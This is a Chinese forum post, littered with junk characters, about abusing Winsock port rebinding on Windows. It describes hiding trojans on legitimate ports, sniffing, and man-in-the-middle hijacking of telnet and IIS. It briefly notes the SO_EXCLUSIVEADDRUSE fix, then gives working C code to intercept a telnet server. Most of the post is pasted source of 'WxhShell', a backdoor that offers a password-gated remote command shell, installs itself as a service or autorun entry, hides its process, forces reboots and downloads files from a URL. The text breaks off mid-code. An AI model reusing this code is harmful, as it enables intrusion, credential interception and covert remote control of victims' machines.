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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: xWlj.Tjt}  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ocBfs^ aW  
MIvAugUOl  
  saddr.sin_family = AF_INET; ,R/HT@  
r4/G&m[V  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); p x1y#Q  
3/V&PDC*'  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 3Z#k9c_b  
9 lE[oAC  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 lR[[]Yn  
"mc/fp  
  这意味着什么?意味着可以进行如下的攻击: |F z/9+I  
fH? e9E4l  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 (@*[^@ipV  
ve[` 0  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) s^+h>  
P F#+G;q;  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 4E]w4BG)  
<6g{vNA  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  NNSHA'F,.\  
C o v,#j j  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 [ sJ f)<  
P3X;&iT  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 O?e38(  
% LeG.~?  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Yy`\??,  
gV@FT|j!i  
  #include - &u]B$  
  #include ! iuDmL  
  #include Qa@b-v'by  
  #include    /.r|ron:e  
  DWORD WINAPI ClientThread(LPVOID lpParam);   |kJ'FZZd  
  int main() !_CBf#0  
  { 3Ob"R%Yo  
  WORD wVersionRequested; vI3L <[W  
  DWORD ret; RGFanP  
  WSADATA wsaData; "L^]a$&  
  BOOL val; a^_\#,}  
  SOCKADDR_IN saddr; vw VeHjR  
  SOCKADDR_IN scaddr; @\0U`*]^)  
  int err; .%;`: dtj  
  SOCKET s; - ;1'{v  
  SOCKET sc; pEgQ) 9\  
  int caddsize; -d]-R ?mQ  
  HANDLE mt; ("-Co,4ey  
  DWORD tid;   "F?p\I)(  
  wVersionRequested = MAKEWORD( 2, 2 ); BM5+;h !  
  err = WSAStartup( wVersionRequested, &wsaData ); #DK@&Gv  
  if ( err != 0 ) { ^\=<geEj  
  printf("error!WSAStartup failed!\n"); Zp@j*P  
  return -1; :YaEMQJ^  
  } .CGPG,\2  
  saddr.sin_family = AF_INET; l,j7I3&~%  
   KvENH=oh  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 <[mT*  
_'DT)%K  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); iJ n<  
  saddr.sin_port = htons(23); jMv qKJ(<  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) -|;{/ s5  
  { -xs @rV`  
  printf("error!socket failed!\n"); {a aI<u  
  return -1; <QbD ;(%  
  } ..BIoSrj  
  val = TRUE; FOJ-?s(  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 &?N1-?BjM  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) l~P%mVC3m  
  { T-e'r  
  printf("error!setsockopt failed!\n"); 7\x7ySM  
  return -1; ZlQ@k{Es~  
  } nvY3$ Ty  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Tbf't^Ot$  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Y,BzBUWK  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 "B`k  
o 4G%m>$  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) _9yb5_  
  {  v?Dc3  
  ret=GetLastError(); q?} /q  
  printf("error!bind failed!\n"); >g7}JI&  
  return -1; }e$^v*16  
  } XY %er  
  listen(s,2); .Z%y16)T  
  while(1) 'fpm] *ig  
  { Y'-@O"pK  
  caddsize = sizeof(scaddr); u5D@,wSNz  
  //接受连接请求 oz3N 8^M  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); OpFe=1Q  
  if(sc!=INVALID_SOCKET) ,:6gp3  
  { Jw13 Wb-  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); $ 9bIUJ  
  if(mt==NULL) %oPW`r  
  { WUOoK$I~K  
  printf("Thread Creat Failed!\n"); A^lJlr:_`  
  break; sG-$d\ 1d  
  } 8<V6W F`e  
  } ='r86vq  
  CloseHandle(mt); Ff6l"A5  
  } "&h{+DHS  
  closesocket(s); =' %r"_`}  
  WSACleanup(); \j C[|LM&  
  return 0; - Q3jK)1  
  }   >s0A.7,5  
  DWORD WINAPI ClientThread(LPVOID lpParam) pJ8;7u  
  { wf*G+&b d2  
  SOCKET ss = (SOCKET)lpParam; `)5,!QPQ7u  
  SOCKET sc; a,eR'L<"*-  
  unsigned char buf[4096]; 'T=$Q%Qv  
  SOCKADDR_IN saddr; akR+QZ,)  
  long num; ])`+ 78  
  DWORD val; x=-dv8N?  
  DWORD ret; 0,a/t jSr  
  //如果是隐藏端口应用的话,可以在此处加一些判断 =VA5!-6<Uq  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   rl:6N*kK  
  saddr.sin_family = AF_INET; X}jWNN  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ]QM{aSvXA  
  saddr.sin_port = htons(23); i'XW)n  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) N RB>X  
  { LPuc&8lGWf  
  printf("error!socket failed!\n"); T}fH  
  return -1; Nf@-i`  
  } ;MSdTHN"  
  val = 100; 7 2Zp%a=  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) VtM:~|v  
  { `)i'1E[9  
  ret = GetLastError(); 2=R}u-@6p  
  return -1; W=QT-4  
  } Pv-El+e!  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) [\i0@  
  { |76G#K~<X  
  ret = GetLastError(); 6f=,$:S$  
  return -1; ~HW8mly'  
  } .kbo]P  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Z\1*g k  
  { ,[gu7z^|  
  printf("error!socket connect failed!\n"); %IAZU c  
  closesocket(sc); ?HD eiJ kX  
  closesocket(ss); vI84= n  
  return -1; W~" 'a9H/  
  } 7E0L-E=.  
  while(1) ajr);xd  
  { i^<P@ |q  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 K;ncviGu  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 [u?*' c{  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 cx+w_D9b!  
  num = recv(ss,buf,4096,0); _ aJo7  
  if(num>0) QmHj=s:x\  
  send(sc,buf,num,0); v w.rkAGY  
  else if(num==0) oc|%|pmRd<  
  break; ZnrsJ1f:  
  num = recv(sc,buf,4096,0); p?@R0]  
  if(num>0)  5yA1<&z  
  send(ss,buf,num,0); 3EY>XS  
  else if(num==0) 30BFwNE  
  break; s)dL^lj;  
  } So6ZNh9  
  closesocket(ss); b\Wlpb=QZ  
  closesocket(sc); v d{`*|x  
  return 0 ; ;FQ<4PR$  
  } k 4HE'WY  
AiF'*!1  
,Wbr; zb  
========================================================== 'R-Ly^:Qd  
UrC>n  
下边附上一个代码,,WXhSHELL 1\t#*N  
iY~.U`b`  
========================================================== 4z;@1nN_8a  
\zx &5a #  
#include "stdafx.h" ~]w|ULNa3|  
XJ$mRh0`K  
#include <stdio.h> m2{DLw".  
#include <string.h> ,ORwMZtw{H  
#include <windows.h> ;nSOe AF)Q  
#include <winsock2.h> . X:  
#include <winsvc.h> ]J '#KT{  
#include <urlmon.h> %pJRu-D  
q.}M^iDe  
#pragma comment (lib, "Ws2_32.lib") r 9~Wh $  
#pragma comment (lib, "urlmon.lib") o[A y2"e?  
{M_*hR;lL  
#define MAX_USER   100 // 最大客户端连接数 s^&Oh*SP*  
#define BUF_SOCK   200 // sock buffer =/#+,  
#define KEY_BUFF   255 // 输入 buffer $.5f-vQp  
c4Leh"ry  
#define REBOOT     0   // 重启 :cE6-Fv  
#define SHUTDOWN   1   // 关机 )qID<j#  
D4G*Wz8  
#define DEF_PORT   5000 // 监听端口 8h?):e  
~dtS  
#define REG_LEN     16   // 注册表键长度 HL`=zB%  
#define SVC_LEN     80   // NT服务名长度 :-[y`/R  
|_h$}~ ;  
// 从dll定义API qH=<8Iu  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); &s{" Vc9]  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); yIq. m=  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);  %"jp':  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); [X&VxTxr  
j@o \d%.'!  
// wxhshell配置信息 lSG"c+iV  
struct WSCFG { \jpm   
  int ws_port;         // 监听端口 W5SCm(QS5  
  char ws_passstr[REG_LEN]; // 口令 vyA `Z1  
  int ws_autoins;       // 安装标记, 1=yes 0=no hI#1Ybl  
  char ws_regname[REG_LEN]; // 注册表键名 W2`/z)[*>  
  char ws_svcname[REG_LEN]; // 服务名 yKhN1kY  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 2=%R>&]*  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 )IFFtU~,  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 SDbR(oV  
int ws_downexe;       // 下载执行标记, 1=yes 0=no yQ03&{#  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 2uEvu  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 l~C=yP(~  
w=Yc(Y:h  
}; k|r|*|8  
/QW-#K|S&  
// default Wxhshell configuration 9j8<Fs0M  
struct WSCFG wscfg={DEF_PORT, q}+Fm?B   
    "xuhuanlingzhe", =jWjUkm2  
    1, >D5WAQ>b  
    "Wxhshell", v1`*}.#  
    "Wxhshell", + t JEG:  
            "WxhShell Service", |Bhj L,  
    "Wrsky Windows CmdShell Service", <tn6=IV  
    "Please Input Your Password: ", 8WP|cF]  
  1, pIhy3@bY  
  "http://www.wrsky.com/wxhshell.exe", ?l/+*/AR;  
  "Wxhshell.exe" /l b"g_  
    }; Ve9*>6i&-4  
(Do](C  
// 消息定义模块 *RllKPY)  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; &a9Y4~e::  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 3*C|"|lJ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 5faY{;8  
char *msg_ws_ext="\n\rExit."; v*lj>)L  
char *msg_ws_end="\n\rQuit."; Z1Pdnc7S[  
char *msg_ws_boot="\n\rReboot..."; mzbMX <  
char *msg_ws_poff="\n\rShutdown..."; K9=f`JI9  
char *msg_ws_down="\n\rSave to "; INF}~DN]  
_qp^+  
char *msg_ws_err="\n\rErr!"; VSDG_:!K  
char *msg_ws_ok="\n\rOK!"; JBMJR  
,&ld:v?~  
char ExeFile[MAX_PATH]; rk)h_zN  
int nUser = 0; -VafN   
HANDLE handles[MAX_USER]; \(4kEB2s$  
int OsIsNt; @\?QZX(H  
"~,3gNTzV  
SERVICE_STATUS       serviceStatus; %SC%#_7  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 1$RUhxT  
:YUQKy  
// 函数声明 GS qt:<Qs  
int Install(void); V+>.Gf  
int Uninstall(void); pRc<U^Z.h  
int DownloadFile(char *sURL, SOCKET wsh); =%ry-n G  
int Boot(int flag); ;a9`z+ K  
void HideProc(void); ;NPbEPL[5  
int GetOsVer(void);  )k6O  
int Wxhshell(SOCKET wsl); P^-daRb  
void TalkWithClient(void *cs); #,jw! HO]  
int CmdShell(SOCKET sock); ~\o hH  
int StartFromService(void); l|" SM6  
int StartWxhshell(LPSTR lpCmdLine); /DE`>eJY  
@A1Ohl  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); iji2gWV}h  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); H6 V!W\:s  
+AkMU|6  
// 数据结构和表定义 PCX X[N  
SERVICE_TABLE_ENTRY DispatchTable[] = h 7  c  
{ .[:2M9Rx  
{wscfg.ws_svcname, NTServiceMain}, Bxf]Lu,\U@  
{NULL, NULL} v[!ZRwk4w3  
}; #Nv)SCc  
'FC#O%l  
// 自我安装 }~+_|  
int Install(void) 7T/hmVi_  
{ U%4 s@{7  
  char svExeFile[MAX_PATH]; ATkx_1]KM-  
  HKEY key; )9~-^V0A^>  
  strcpy(svExeFile,ExeFile); %"=qdBuk  
?>T (  
// 如果是win9x系统,修改注册表设为自启动 >pj)va[Q  
if(!OsIsNt) { i7|sVz=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >,A&(\rO  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); e;r?g67  
  RegCloseKey(key); D&/~lhyNZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4&_|myO&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); X{-901J1  
  RegCloseKey(key); R7NE= X4  
  return 0; qt,;Yxx#^  
    } p`T,VU&.  
  } "Cn<x\E b  
} o`%;*tx  
else { up )JU [  
@3WI7q4  
// 如果是NT以上系统,安装为系统服务 pUm|e5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ]]!&>tOlI  
if (schSCManager!=0) !Jk|ha~r  
{ "H3DmsB  
  SC_HANDLE schService = CreateService y%@C-:  
  ( ;pVnBi  
  schSCManager, -XMWN$Ah  
  wscfg.ws_svcname, .u^4vVz  
  wscfg.ws_svcdisp, V}po  
  SERVICE_ALL_ACCESS, yd~}CF  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , P{[@t_  
  SERVICE_AUTO_START, mgI7zJX  
  SERVICE_ERROR_NORMAL, $I4:g.gKpG  
  svExeFile, Og/@w&  
  NULL, .EdQ]c-E=  
  NULL, >O/1Lpl.3  
  NULL, Nny#}k Bt  
  NULL, =DLVWz/<  
  NULL :Lh`Q"a  
  ); ]~t4E'y)z  
  if (schService!=0) pGT?=/=*  
  { i+4!nf{K  
  CloseServiceHandle(schService); P>[,,w  
  CloseServiceHandle(schSCManager); c^ W \0  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 6sz:rv}  
  strcat(svExeFile,wscfg.ws_svcname); c]>LL(R-7)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { #8sv*8&  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); B4{clI_i  
  RegCloseKey(key); `71(wf1q[f  
  return 0; w+G+&ak<  
    } &+Yoob]P  
  }  ie4BE'  
  CloseServiceHandle(schSCManager); @78%6KZ`i  
} lm\~_ 4l1  
} j=y{ey7Fd  
/;9iDjG  
return 1; h-6zQs   
} ]^BgSC  
&N|`Q (QXS  
// 自我卸载 {"n=t`E)3  
int Uninstall(void) &KP JB"0L  
{ x) OJ?l  
  HKEY key; 3Sl2c  
R,f"2 k  
if(!OsIsNt) { 3R)_'!R[B  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  \>l DM  
  RegDeleteValue(key,wscfg.ws_regname); ]mdO3P  
  RegCloseKey(key); ?CO..l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { D'Y=}I)8Dn  
  RegDeleteValue(key,wscfg.ws_regname); xG~7kj3  
  RegCloseKey(key); Rr"D)|Y;C(  
  return 0; *z6m644H  
  } 1vUW$)?X  
} =+"=|cQ  
} K3-Cuku  
else { 8XhGo2zf  
|Wz`#<t  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); CaqqH`/E4  
if (schSCManager!=0) L{uQ: ;w1  
{ / &#b*46  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); C{2y*sx  
  if (schService!=0) hB??~>i3  
  { p$_X\,F  
  if(DeleteService(schService)!=0) { t;L7H E@Y  
  CloseServiceHandle(schService); EU4j'1!&g<  
  CloseServiceHandle(schSCManager); .g52p+Z#  
  return 0; ]JvZ{fA%*  
  } *Y<1KXFU  
  CloseServiceHandle(schService); _>4Qh#6K  
  } @zi_@B  
  CloseServiceHandle(schSCManager); tr-muhuK  
} Dh.pH1ZY3n  
} Eq6. s)10  
<= Aqi91  
return 1;  LAO2Py#  
} GjeRp|_Qd<  
VK3e(7 b  
// 从指定url下载文件 Yu_` >so  
int DownloadFile(char *sURL, SOCKET wsh) .j^=]3  
{ w i=&W  
  HRESULT hr; 1qd(3A41  
char seps[]= "/"; xY$@^(Q\  
char *token; 5~\GAjf  
char *file; %W,V~kb  
char myURL[MAX_PATH]; {bMOT*X=A  
char myFILE[MAX_PATH]; :,1 kSM%r  
^zVW 3 Y q  
strcpy(myURL,sURL); #xfPobQ>il  
  token=strtok(myURL,seps); &l _NCo2  
  while(token!=NULL) dA=T+u  
  { t:yJ~En]=  
    file=token; tq&CJvJ4  
  token=strtok(NULL,seps); A_}6J,*u  
  } %hV]vm  
YJMaIFt  
GetCurrentDirectory(MAX_PATH,myFILE); R(W}..U0R"  
strcat(myFILE, "\\"); -,^Z5N#\|  
strcat(myFILE, file); $@@@</VbP  
  send(wsh,myFILE,strlen(myFILE),0); -cL wjI  
send(wsh,"...",3,0); |[/'W7TV%?  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); r9!,cs  
  if(hr==S_OK) <) VNEy'  
return 0; vCsJnKqK  
else 6<m9guv  
return 1; 08F~6e6a8  
j V~+=(w)  
} bm#/ KT_8  
Yrmd hSY  
// 系统电源模块 PIZK*Lop  
int Boot(int flag) eg(1kDMpn  
{ <jIuVX  
  HANDLE hToken; NkY7Hg0  
  TOKEN_PRIVILEGES tkp; [[' (,,r  
;$/]6@bqB  
  if(OsIsNt) { mWX{I2  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); qz&?zzz;  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); S9lT4  
    tkp.PrivilegeCount = 1; NZ:KJ8ea"  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; iNv"!'|  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); *TC#|5  
if(flag==REBOOT) { h$$2(!G4  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) H rI(uZ]  
  return 0; `<IaQY  
} 5"2pU{xmK  
else { '-M9v3itC  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) &"mWi-Mpl  
  return 0; Pm== m9  
} zp:EssO=Q  
  } <(W:Q3?s  
  else { xY<*:&  
if(flag==REBOOT) { O2N~&<^  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) cs0rz= ZdH  
  return 0; 3eR c>^wh  
} 0^mCj<g  
else { B(,j*,f  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) RLR\*dL1  
  return 0; !T RU  
} E5 uk<e_  
} :@K~>^+U  
$_Q]3"U  
return 1; a|kEza,]  
} gRg8D{  
Q 1[E iM3  
// win9x进程隐藏模块 "`Y.5.  
void HideProc(void) Y?xc#'  
{ $n_ax\15  
AGK{t+`  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Z:.*fs5  
  if ( hKernel != NULL ) Bnh*;J0  
  { ]!v\whZ>  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); E3QyiW  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); d~z%kl 5:  
    FreeLibrary(hKernel); kadw1sYj  
  } %z"n}|%!  
)| 0(#R  
return; 21 N!?DR  
} \JBPZ~N3  
m e2$ R>@  
// 获取操作系统版本 #y*p7~|@  
int GetOsVer(void) 5m9;'SF  
{ 3h**y %^  
  OSVERSIONINFO winfo; KhZ\q|5  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); YWhp4`m  
  GetVersionEx(&winfo); 'Oa(]Br[  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) I;+>@Cn(g<  
  return 1; !]l;n Fd  
  else g4}K6)@  
  return 0; Nc:0opPM  
} n |Q' >  
2aJ_[3p/h]  
// 客户端句柄模块 v?s%qb=T  
int Wxhshell(SOCKET wsl) !n|4w$t"V  
{ e~PAi8B5  
  SOCKET wsh; a 3C\?5  
  struct sockaddr_in client; *nlDN4Y[  
  DWORD myID; A+ LX37B  
h]DzX8r}  
  while(nUser<MAX_USER) -~ H?R  
{ {C5-M!D{<  
  int nSize=sizeof(client); #D .hZ=!  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); CSlPrx2\  
  if(wsh==INVALID_SOCKET) return 1; |Pq z0n=v  
]:svR@E  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); O7z5,-  
if(handles[nUser]==0) {9XQ~t"m^  
  closesocket(wsh); H&uh$y@  
else pP^5y{  
  nUser++; Y3bZ&G)  
  } Y{OnW98  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Tzr'3m_  
oD=+  
  return 0; lD6PKZ\RIj  
} mO&zE;/[  
Ah_0o_Di  
// 关闭 socket C~R,,  
void CloseIt(SOCKET wsh) cHX~-:KOr  
{ HleMzykF  
closesocket(wsh); Ti&v9re%wO  
nUser--; V?-SvQIk1  
ExitThread(0); _bSn YhS  
} nHl{'|~  
|[X-i["y  
// 客户端请求句柄 X1o=rT  
void TalkWithClient(void *cs) *}=z^;_oq  
{ >j)y7DSE  
Mi047-% (  
  SOCKET wsh=(SOCKET)cs; nTCwLnX(O  
  char pwd[SVC_LEN]; qL~|bfN  
  char cmd[KEY_BUFF]; . H9a  
char chr[1]; b}J,&eYD  
int i,j; 4%5 +  
E(Zm6~  
  while (nUser < MAX_USER) { zXML<?w  
Ir6g"kwCKq  
if(wscfg.ws_passstr) { 8K2=WYN  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +Sak_*fq  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &;[e  
  //ZeroMemory(pwd,KEY_BUFF); PGhYkj2  
      i=0; lS/l iI'Y  
  while(i<SVC_LEN) { h I7ur  
?xw0kXK4  
  // 设置超时 YcN&\(  
  fd_set FdRead; f}cCnJK  
  struct timeval TimeOut; y=LN| vkQ  
  FD_ZERO(&FdRead); B~2M/&rM\  
  FD_SET(wsh,&FdRead); 'Xu3]'m*  
  TimeOut.tv_sec=8; j.+ }Z |  
  TimeOut.tv_usec=0; ?63ep:QEk  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); pMzlpmW;P  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); p{[(4}ql  
tgC)vZ&a  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9{8xMM-  
  pwd=chr[0]; h@fF`  
  if(chr[0]==0xd || chr[0]==0xa) { e#(X++G  
  pwd=0; BVu{To:g  
  break; `&i\q=u+  
  } b{}ao  
  i++; uA~?z :~=  
    } B:#9   
IC+!XZqS  
  // 如果是非法用户,关闭 socket 3ICMH  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); bVOJp% *s  
} r b*;4a  
M=Y['w x  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ?<1~KLPMhY  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); lH/7m;M  
g9gi7.'0  
while(1) { remRm Y?  
T+41,  
  ZeroMemory(cmd,KEY_BUFF); $Z<x r  
@@H?w7y?&  
      // 自动支持客户端 telnet标准   ,&G !9}EC  
  j=0; Lm*PHG  
  while(j<KEY_BUFF) { \e~5Dx1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); WkDXWv\{,{  
  cmd[j]=chr[0]; .1 jeD.l  
  if(chr[0]==0xa || chr[0]==0xd) { , FR/X/8  
  cmd[j]=0; aole`PD,l  
  break; m^>v~Q~~  
  } wicW9^ik  
  j++; -l ?\hmDl  
    } $8`"  
SE6c3  
  // 下载文件 7KN+ @6!x  
  if(strstr(cmd,"http://")) { mX[J15  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ]E^)d|_  
  if(DownloadFile(cmd,wsh)) 5A+r^xN  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); d fSj= 4  
  else 1u~a*lO}  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5em*9Ko  
  } a?@lX>Z  
  else { }z5u^_-m  
~W-5-Nl{s  
    switch(cmd[0]) { 5 Q/yPQN  
  %Ot*k%F  
  // 帮助 +h8`8k'}-2  
  case '?': { !Y10UmMu  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ]Rj?OSok  
    break; \k5 sdHmI[  
  } h}Lrpr2r  
  // 安装 GK1oS  
  case 'i': { S=G2%u!;  
    if(Install()) 1v 4M*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f /t`B^}@  
    else )j. .)o  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pd-I^Q3-  
    break; c^stfFE&  
    } ydMSL25<+  
  // 卸载 U04&z 91"  
  case 'r': { W0<2*7s  
    if(Uninstall())  vUR gR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Xn02p,,  
    else pO)5NbU  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9ePom'1f1  
    break; 77-G*PI*I  
    } p$mt&,p  
  // 显示 wxhshell 所在路径 KPA.5,ai  
  case 'p': {  %e(DPX  
    char svExeFile[MAX_PATH]; qWD(rq+9  
    strcpy(svExeFile,"\n\r"); O bc>f|l]  
      strcat(svExeFile,ExeFile); u}89v1._Jn  
        send(wsh,svExeFile,strlen(svExeFile),0); b-RuUfUn0  
    break; m .R**g  
    } 0+/ew8~$  
  // 重启 a}X. ewg  
  case 'b': { I.it4~]H  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %Z*N /nU  
    if(Boot(REBOOT)) w<Bw2c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); OR}+) n{  
    else { U:bnX51D4  
    closesocket(wsh); )FN$Jlo  
    ExitThread(0); E6zPN?\ <  
    } D# gC-,  
    break; klnk{R.>|  
    } S|F:[(WaM  
  // 关机 6zI}?KZf  
  case 'd': { lN x7$z`  
